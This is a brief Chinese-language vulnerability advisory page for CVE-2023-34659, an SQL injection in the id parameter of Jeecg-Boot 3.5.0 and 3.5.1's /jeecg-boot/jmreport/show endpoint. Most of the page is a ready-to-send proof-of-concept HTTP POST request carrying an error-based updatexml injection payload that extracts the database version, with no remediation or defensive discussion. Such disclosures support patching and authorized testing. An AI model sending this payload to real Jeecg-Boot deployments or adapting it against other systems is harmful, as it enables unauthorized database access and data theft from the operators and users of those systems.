Jeecg-Boot /jeecg-boot/jmreport/show SQL 注入漏洞（CVE-2023-34659）

日期: 2024-06-28 | 影响软件: Jeecg | POC: 已公开

漏洞描述

JeecgBoot是一款基于BPM的低代码平台jeecg-boot 3.5.0 和 3.5.1 存在 SQL 注入漏洞：/jeecg-boot/jmreport/show 接口的 id 参数。

PoC代码

POST /jeecg-boot/jmreport/show HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 147
Content-Type: application/json;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0

{"id":"961455b47c0b86dc961e90b5893bff05","apiUrl":"","params":"{"id":"1' or '%1%' like (updatexml(0x3a,concat(1,(version())),1)) or '%%' like '"}"}

相关漏洞推荐